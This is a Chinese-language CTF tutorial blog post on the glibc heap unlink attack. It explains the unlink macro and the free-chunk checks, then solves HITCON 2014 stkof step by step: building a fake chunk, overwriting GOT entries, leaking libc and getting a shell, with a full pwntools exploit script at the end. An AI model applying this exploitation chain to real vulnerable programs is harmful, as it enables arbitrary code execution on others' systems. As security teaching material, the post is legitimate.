堆溢出的第三部分unlink,这可能是有史以来我做的讲解图最多的一篇文章了累死 。可能做pwn的人都应该听过unlink,见面都要说声久仰久仰。学unlink的时候走了一些弯路,也是遇到了很多困扰的问题,会在后面的内容中做出标注。由于写的比较详细,所以字数依然还是一如既往的多,我会在适当的时候提醒向前回顾某一处知识点,也希望在看例题的时候能够跟着一起做一下
编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ
往期回顾:
好好说话之Chunk Extend/Overlapping
好好说话之off-by-one
…
Unlink
Unlink是什么
在讲那个wiki上被转发烂了的chunk图之前有两个点先解决一下:
- unlink是什么
- 什么时候执行了unlink
这两个点也是我在初期一直都很困惑的地方,直到翻看了libc的源码(可以在这里下载,我下载的是2.23),在malloc.c中找到了unlink。unlink其实是libc中定义的一个宏,定义如下:
#define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } }
}
那什么时候执行了unlink呢?在执行free()函数时执行了 _int_free()函数,在_int_free()函数中调用了unlink宏,大概的意思如下(注意_int_free()是函数不是宏):
#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){_int_free(){unlink();}
}
堆释放
好了关于unlink的部分先暂停一下,这里我们需要回顾一下调用free()函数堆释放这部分的知识
1 //gcc -g test.c -o test2 #include<stdio.h>3 4 void main(){5 long *hollk1 = malloc(0x80);6 long *first_chunk = malloc(0x80);7 long *hollk3 = malloc(0x80);8 long *second_chunk = malloc(0x80);9 long *hollk5 = malloc(0x80);10 long *third_chunk = malloc(0x80);11 long *hollk7 = malloc(0x80);12 13 free(first_chunk);14 free(second_chunk);15 free(third_chunk);16 17 return 0;18 }
举一个例子,这里申请了7个chunk,接着依次
释放了first_chunk、second_chunk、third_chunk。这里为什么释放这几个chunk呢,因为地址相邻的chunk释放之后会进行合并,地址不相邻的时候不会合并。由于申请的是0x80的chunk,所以在释放之后不会进fastbin而是先进unsortbin。我们用gdb打开编译好的例子,因为使用了-g参数,所以我们在第17行使用命令b 17
下断点,接下来让程序跑起来,使用命令bin
我们看一下双向链表中的排列结构:
离近点看! 可以模糊的
看到已经有三个chunk_free进入了unsortbin。那么这三个chunk_free从右向左
分别对应着first_chunk、second_chunk、third_chunk,我们使用heap
命令查看一下这几个chunk:
这几个释放的chunk已经按照unsortbin中的顺序排列。这里主要看每一个chunk的fd、bk:
- first_bk -> second
- second_fd -> first 、 second_bk -> third
- third_fd -> second
unlink过程及检查
下面呢给出wiki上的链接,说实话wiki上的图和说明我是真的没看懂。。。。。所以我按照字节的例子和理解写出来:
wiki链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/
wiki中unlink关键执行了如下的步骤:
- FD = P -> fd = target addr -12
- BK = P -> bk = expect value
- FD -> bk = BK,即 *(target addr - 12 + 12) = BK = expect value
- BK -> fd = FD,即 *(expect value + 8) = FD = target addr - 12
这后面的target、expect什么的我就不知道是啥了,感觉好像没什么用处。。。。。
我自己的理解
在此声明这里是我个人的理解,没有说wiki不对什么的,而且也是在wiki的基础上做了一些更加通俗易懂的变化
还是用前面堆释放的例子,依次
释放了first_chunk、second_chunk、third_chunk,也就是说首先释放的是first,然后释放的是second,最后释放的是third。在双链表中的结构如下:
个人的理解unlink其实是想把second_chunk摘掉,那怎么摘呢?
在前面堆释放部分我们讲过fd其实是前一个被释放chunk的prev_size地址,bk是后一个被释放的chunk的prev_size地址,所以:
second_fd = first_prev_addr
second_bk = third_prev_addr
如果second_chunk被摘掉,那么就会变成下面这样:
由于first_chunk是最开始被释放的,所以first_chunk相对于third_chunk是前一个被释放的块。同样的third_chunk是之后释放的,所以third_chunk相对于first_chunk是后一个被释放的块,所以:
first_bk = third_prev_addr
third_fd = first_prev_addr
所以我的理解中对应着wiki的表现形式就是:
second_fd = first_prev_addr
second_bk = third_prev_addr
first_bk = third_prev_addr
third_fd = first_prev_addr
※※※※※※※※执行流程有先后顺序※※※※※※※※
chunk状态检查
现在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。但是恰恰是这个检查的流程本身就存在一些问题,能够让我们进行利用。回顾一下以往我们做的题,大部分都是顺着原有的执行流程走,但是通过修改执行所用的数据来改变执行走向。unlink同样可以以这种方式进行利用,由于unlink是在free()函数中调用的,所以我们只看chunk空闲时都需要检查写什么
我们还是拿前面的例子来说:
1 //gcc -g test.c -o test2 #include<stdio.h>3 4 void main(){5 long *hollk1 = malloc(0x80);6 long *first_chunk = malloc(0x80);7 long *hollk3 = malloc(0x80);8 long *second_chunk = malloc(0x80);9 long *hollk5 = malloc(0x80);10 long *third_chunk = malloc(0x80);11 long *hollk7 = malloc(0x80);12 13 free(first_chunk);14 free(second_chunk);15 free(third_chunk);16 17 return 0;18 }
这次我们在第17行下断点,并且查看一下second_chunk:
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小
检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态
检查3:检查前后被释放chunk的fd和bk
可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址
以上三点就是检查chunk是否空闲的三大标准。其实说到这我们依然还是不清楚到底应该怎么去利用这个unlink,我在一开始学的时候也很蒙。没有关系,我们拿题去理解:
例题:2014 HITCON stkof
检察保护
还是老规矩,先看一下保护开启状态:
可以看到是64位程序,只开启了canaryheNX保护
静态分析
这道题很有意思,前面我们做过的大多数题都会有交互。但是这道题运行起来没有任何回显,只有一个等待输入的状态。所以这道题只能根据静态分析来判断程序流程,这也是为什么之前的文章中多次提到静态分析的重要性。那么我们一起用ida x64打开程序看一下:
main函数
这图咋这大啊! 可以很明显的看出这是一个输入判断,输入的数值会存放在v3变量中。当v3等于1时调用sub_400936()函数,当v3等于2时调用sub_4009E8()函数,当v3等于3时调用sub_400B07()函数,当v3等于1时调用sub_400BA9()函数,v3等于其他值时返回-1。接下来挨个查看一下这几个函数及其功能
sub_400936()函数
当v3等于1时调用sub_400936()函数,我们先看一下这个函数和及其功能:
关键代码如上,简单的说一说这个函数的功能吧。首先还是从外部接收一个数值,这个数值会存储在size变量中。接下来创建了一个size大小的chunk,chunk的data区域指针交给v3。然后判断chunk是否创建成功,如果成功就会将v3放在bss段一个未初始化变量中
这里的
::s[8 * ++dword_602100]
可能会看不懂,反正我是第一次看这种形式的代码,我们拆开来看,首先是前面的::s
这是因为ida在编译伪代码的时候出现了一些问题,这个s和其他变量名重复了,所以我们只需要选中::后面的s然后右键选择Rename global item
更改一下变量名就可以了。后面的8
代表着一次写8个字节
我们看一下::s
的地址,这里我用rename改了名字:
可以看到这个数组的地址是0x602140
,这里拿小本本记号,后面会用到
通过对上述代码的分析可以了解到:当我们在主界面输入1回车之后就会指针创建堆块的功能,进入创建功能后还需要进行一次堆块大小的输入。我们对照着执行以下,并写出自动化执行的代码:
sub_4009E8()函数
当v3等于2时调用sub_4009E8()函数,我们看一下代码
简单的解读一下,首先从外部输入数值,并将数值赋给v3变量,v3变量中存放的其实就是存放chunk_data地址的数组下标,图片中的“chunk_addr”就是“:: s”,我改了名字。接下来判断对应v3下标的位置是否有chunk,如果有那么再次从外部接收,接收字符串的数量赋给n变量,v3下标处的chunk_data地址赋给ptr变量。接下来经过一个大循环,这个循环需要仔细说一下:
首先这里用到了fread()函数,这个函数会从给定流 stream 读取数据到 ptr 所指向的数组中,函数原型如下:
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
参数
- ptr – 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针
- size – 这是要读取的每个元素的大小,以字节为单位
- nmemb – 这是元素的个数,每个元素的大小为 size 字节
- stream – 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流
返回值
成功读取的元素总数会以 size_t 对象返回,size_t 对象是一个整型数据类型。如果总数与 nmemb 参数不同,则可能发生了一个错误或者到达了文件末尾
也就是说循环中的i = fread(ptr, 1ull, n, stdin)
是等于输入字符的数量,接下来判断的是i是否大于0,然后执行向地址写的操作
本身代码没什么问题,但是程序的业务逻辑是有问题的。无论我们输入多长的字符串,程序都会将字符串从chunk_data的起始位置开始写进去,本身chunk_data在申请的时候是有长度限制的,但是由于一个不限制长度的字符串写进定长的范围内,这就造成了堆溢出
总的来说sub_4009E8()函数具有编辑chunk内容的功能,当在主界面输入2时进入编辑功能执行sub_4009E8()函数,第二次输入选择要进行编辑的chunk,第三次输入编辑要写的内容。我们运行一下并以代码的形式自动化完成这一步的操作:
sub_400B07()函数
当v3等于3时调用sub_400B07()函数,我们分析一下这个函数的功能
简单的分析一下代码,首先需要进行一次输入,也就是前面反复出现的选择chunk,接下来判断所选下标是否由chunk被创建,如果有则释放掉该下标处的chunk,并且将该处指针置空
就是一个简单的释放功能,没什么太多的东西。走一遍流程:在主界面输入3,进入到释放功能执行sub_400B07()函数,再次输入想要释放的chunk编号。按照这个流程我们执行一遍,并以代码的形式自动化完成这个过程:
主要的几个功能就是这三个,其他的函数没用利用到,如果你想锻炼一下自己的分析能力,也可以自行解读一下,剩下几个函数也是很简单的。最后强调几点:
1、存放在::s
中的指针是堆块指向data的指针而不是prev_size的指针
2、
思路分析及动态调试
静态分析阶段结束之后我们使用动态调试器来摸索一下流程
在崩溃边缘疯狂试探1.0
使用gdb打开程序,我们可以先尝试创建三个chunk,看一看它的内存结构到底是个什么样子的:
我们创建了三个chunk,第一个大小为16,第二个为32,第三个为48。按理说在gdb中时候用heap命令应该只会看到四个chunk(含top_chunk),但是这次出现了六个chunk。多出来的两个chunk其实是由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候
那这样一来我们可能就无法堆chunk1做什么操作了,因为chunk1是被两个io_chunk包围住的,我们也不能够控制io_chunk。即使一定要利用chunk1的话也只能先通过堆溢出先覆盖io_chunk,但是这样太麻烦了。所以我们可以考虑更加容易利用的chunk2和chunk3,由chunk2溢出至chunk3,也方便控制流程走向
在崩溃边缘疯狂试探2.0
经过疯狂试探1.0我们可以得出至少要创建三个chunk,并且第一个chunk需要被舍弃,能够利用的只有后面连续可控的chunk。在2.0中我们就需要探究一下堆溢出究竟能造成什么样的后果,还是用前面的例子创建三个chunk,第一个大小为16,第二个为32,第三个为48。这次创建之后在主界面输入2修改一下chunk2的内容,输入48个字节看一下效果:
可以看到我们完全可以通过堆溢出的方式来影响chunk3的prev_size和size,那么这样一来关闭了PIE保护、具有堆溢出、知道堆块指针存放在哪里。满足这三点就可以利用unlink的方式对任意地址进行写
部署伪造块环境
如果想要利用unlink的方式,那么势必要有一个空闲块。我们目前都是申请,哪来的空闲块?的确没有,但是可以构造空闲块嘛。如果我们在chunk2的data部分伪造一个fake_chunk,并且这个fake_chunk处于释放状态。通过堆溢出的方式和修改chunk3的prev_size和size的P标志位,使得在释放chunk3的时候发生向前合并,这样就能触发unlink了:
如果想要构造一个人能够触发unlink的fake_chunk,那么它的大小至少为:
0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30
因为fake_chunk是放在chunk2的data中的,所以chunk2的data大小至少需要0x30
为了能够使得在释放chunk3的时候能够向前合并fake_chunk,并且绕过检查
,那么chunk3的prev_size就要等于fake_chunk的size大小,即0x30,这样才能说明前一个chunk(fake_chunk)是释放状态
如果想要触发unlink,那么chunk3的大小就必须超过fast_bin的最大值,所以chunk3的size就至少是0x90,并且chunk3的size的P标志位必须为0:
payload1.0 = fake_chunk + p64(0x30) + p64(0x90)
构造伪造块
上面我们已经将fake_chunk的外部因素确定了,那么接下来需要考虑的就是fake_chunk怎么构造了:
- prev_size:我们其实只想通过释放chunk3的时候向前合并fake_chunk,并不需要合并chunk2,所以fake_chunk的prev_size置零就行
- size:其实fake_chunk仅仅需要fd和bk完成unlink流程就可以了,后面的next_prev和next_size仅仅为了检查时候用,所以size的大小为0x20就行
- next_prev:这里其实就是为了绕过检查,证明fake_chunk是一个空闲块,所以next_prev要等于size,即0x20
- next_size:没啥用,不检查这里,用字符串占位就好
payload2.0 = p64(0) + p64(0x20) + fd_bk + p64(0x20) + "hollkhol" + p64(0x30) + p64(0x90)
现在就剩下fake_chunk的fd和bk了,需要提醒的是,为了能够使fake_chunk合法,就必须遵循前面理论部分讲的检查3,因此我们要将fake_chunk当做second_chunk来看待(second_chunk是在前面理论部分的名词,如果忘记了往前翻翻)
- fake_fd = first_prev_addr
(?)
- fake_bk = third_prev_addr
(?)
- third_fd = fake_prev_addr
(✔️)
- first_bk = fake_prev_addr
(✔️)
我们可能并不清楚fake_chunk的fd和bk为多少,但是我们能够知道first_chunk的bk和third_chunk的fd为fake_chunk的prev_size地址
那么接下来我们用gdb打开程序,首先在主页面选择1,创建三个chunk,chunk1由于用不上所以只要能够对齐随便给值就行,chunk1大小为0x100,chunk2大小为0x30,chunk3大小为0x80。接着选择2,把chunk2内容修改成payload2.0
,然后ctrl + c
回到调试界面,我们看一下fake_chunk的prev_size地址是多少:
我们通过调试可以看到fake_chunk的prev_size的地址为0xe06540
,这个地址同时也是chunk2的data起始地址。那么回想一下在前面静态分析阶段,我们发现所有创建的chunk的data起始地址都记录在s[]数组中,并通过跟踪得到了s[]数组的地址:0x602140
(如果忘记了,请翻看前面静态分析的创建功能部分)
我们查看一下这个数组地址:
这是s[]数组的位置,可以看到s[0]为空,s[1]为chunk1,s[2]为chunk2,s[3]为chunk3。如果从数组的角度来看这很正常,但是从另外一种角度看呢?
如果我们将0x602140作为一个chunk
来看的话,它的fd
就是0xe06540。是不是感觉很熟悉😋,也就是说0x602140
如果作为一个chunk来看待的话,就可以作为third_chunk
:
这样一来我们找到了third_chunk的地址0x602140
,进而知道了fake_chunk的bk值为0x602140
同样的思路,我们将0x602140 - 0x8
的位置也看做是一个chunk
,那么这个chunk的bk
就是0x602140,所以这个chunk可以作为first_chunk
:
这样一来我们伪造的fake_chunk就准备齐全了:
s = 0x602140
payload3.0 = p64(0) + p64(0x20) + p64(s - 0x8) + p64(s) + p64(0x20) + "hollkhol" + p64(0x30) + p64(0x90)
将上面的payload写入chunk2后效果为:
触发unlink,fake_chunk争夺战!
我们前面做了那么多的准备就是为了这一刻!!!可能在前面理论部分讲unlink的时候比较蒙,没有关系,在这里根据这道题再一次领悟一遍unlink的过程:
- 释放chunk3触发unlink
- unlink实际上就是从双向链表中摘除某一个chunk
为什么释放chunk3就会触发unlink呢?首先fake_chunk与chunk3的地址相邻的,由于我们伪造的fake_chunk是空闲状态,所以在释放chunk3的过程中会发生向前合并,也就是说chunk3要与fake_chunk合并成一个大chunk。但是fake_chunk在我们构造的时候为了绕过检查,所以不得不与first_chunk和third_chunk组成双向链表,所以chunk3就需要横刀夺爱将first_chunk从双向链表中抢过来:
chunk3抢fake_chunk的过程其实就相当于将fake_chunk从双向链表中摘除的过程,那么也就相当于执行unlink的过程,接下来我们看fake_chunk被摘除后发生了什么:
① fake_chunk被摘除之后首先执行的就是first_bk = third_addr
,也就是说first_chunk的bk由原来指向fake_chunk地址更改成指向third_chunk地址:
② 接下来执行third_fd = first_addr
,即third_chunk的fd由由原来指向fake_chunk地址更改成first_chunk地址:
这里需要注意的是third_chunk的fd
与first_chunk的bk
更改的其实是一个位置,但是由于third_fd = first_addr后执行
,所以此处内容会从0x602140被覆盖成0x602138
清算战场并泄露函数地址
好了上面就是这道题完整的unlink过程了,由于这个程序本身并没有system(/bin/sh),所以接下来需要考虑的就是通过泄露的方式来从libc中寻找了。在泄露之前呢,我们先看一下,经过unlink之后s[]数组变成了什么样子,因为再怎么说,我们也得从程序修改功能中输入来控制执行流程,那么执行修改功能首先就需要去s[]数组中找到对应的chunk,所以这部分还得是从s[]数组入手:
可以看到经过”fake_chunk争夺战“以双向链表阵营”战败“而告终,那么战场s[]数组内部变成了这样。s[1]就是chunk1的data指针,因为整个过程中chunk1并没有使用过,所以s[1]并无大碍。但是s[2]的位置原本是chunk2的data指针,经过unlink之后变成了0x602138
。最后就是s[3]了,这里原本是chunk3的data指针,但是由于前面为了触发unlink,所以chunk3被释放了,所以s[3]中被置空
那么我们去想,如果我们在主界面选择修改功能,并且选择修改chunk2,那么实际上输入的内容并不会写进chunk2,而是写进0x602138
:
那么这样一来,我们可以通过修改s[2]的方式来对s[]数组进行部署函数的got地址,再次修改s[]数组的时候就会修改got中的函数地址,这和前面的几篇文章的套路差不多。首先看第一部,向s[]数组中部署函数got地址:
payload = 'a' * 8 + p64(hollkelf.got['free']) + p64(hollkelf.got['puts']) + p64(hollkelf.got['atoi'])
根据上面的payload修改s[2]:主界面–> 2–> 2–> payload
这样一来free()函数、puts()函数、atoi()函数就已经在s[]数组中部署好了。可以看到如果再次修改s[0]的话其实修改的是free()函数的真实地址,再次修改s[1]的话其实修改的是puts()函数的真实地址,再次修改s[3]的话其实修改的是atoi()函数的真实地址。
那么接下来,如果将s[0],即free()函数got中的真实地址修改成puts_plt的话,释放调用free()函数就相当于调用puts()函数了。那么如果释放的是s[1]的话就可以泄露出puts()函数的真实地址了:
payload = p64(hollkelf.plt['puts'])
再次根据上面的payload修改s[0]:主界面–> 2–> 0–> payload
接下来就是释放s[1]了,虽然是调用free(puts_got)
,但实际上是puts(puts_got)
,需要注意的是我们接收泄露的地址的时候需要用\x00
补全,并且用u64()转换一下才能用:
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
查找system()函数和/bin/sh字符串
这部分就没什么好说的了吧,从栈溢出开始就是这个路子😂
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
拿shell!
到了最后一步了,还是用前面的思路,我们将部署在s[2]中的atoi_got中的地址修改成前面找到的system()函数地址,这样一来在接收字符串调用atoi()函数的时候实际上调用的是system()函数:
payload = p64(system_addr)
再次根据上面的payload修改s[2]:主界面–> 2–> 2–> payload
最后我们在等待输入的时候输入/bin/sh字符串的地址就可以了,看起来是atoi(/bin/sh)
,但实际上执行的是system(/bin/sh)
。然后。。。。然后就没有然后了!!!拿shell了!!!!
EXP
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:context.log_level = 'debug'
context.binary = "./stkof"
hollkelf = ELF('./stkof')
if args['REMOTE']:hollk = remote('127.0.0.1', 7777)
else:hollk = process("./stkof")
log.info('PID: ' + str(proc.pidof(hollk)[0]))
libc = ELF('./libc.so.6')
head = 0x602140def alloc(size):hollk.sendline('1')hollk.sendline(str(size))hollk.recvuntil('OK\n')def edit(idx, size, content):hollk.sendline('2')hollk.sendline(str(idx))hollk.sendline(str(size))hollk.send(content)hollk.recvuntil('OK\n')def free(idx):hollk.sendline('3')hollk.sendline(str(idx))def exp():# trigger to malloc buffer for io functionalloc(0x100) # idx 1alloc(0x30) # idx 2# small chunk size inorder to trigger unlinkalloc(0x80) # idx 3# a fake chunk at global[2]=head+16 who's size is 0x20payload = p64(0) #prev_sizepayload += p64(0x20) #sizepayload += p64(head - 0x8) #fdpayload += p64(head) #bkpayload += p64(0x20) # next chunk's prev_size bypass the checkpayload = payload.ljust(0x30, 'a')# overwrite global[3]'s chunk's prev_size# make it believe that prev chunk is at global[2]payload += p64(0x30)# make it believe that prev chunk is freepayload += p64(0x90)edit(2, len(payload), payload)# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8free(3)hollk.recvuntil('OK\n')#gdb.attach(hollk)# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@gotpayload = 'a' * 8 + p64(hollkelf.got['free']) + p64(hollkelf.got['puts']) + p64(hollkelf.got['atoi'])edit(2, len(payload), payload)# edit free@got to puts@pltpayload = p64(hollkelf.plt['puts'])edit(0, len(payload), payload)#free global[1] to leak puts addrfree(1)puts_addr = hollk.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']binsh_addr = libc_base + next(libc.search('/bin/sh'))system_addr = libc_base + libc.symbols['system']log.success('libc base: ' + hex(libc_base))log.success('/bin/sh addr: ' + hex(binsh_addr))log.success('system addr: ' + hex(system_addr))# modify atoi@got to system addrpayload = p64(system_addr)edit(2, len(payload), payload)hollk.send(p64(binsh_addr))hollk.interactive()if __name__ == "__main__":exp()
执行结果如下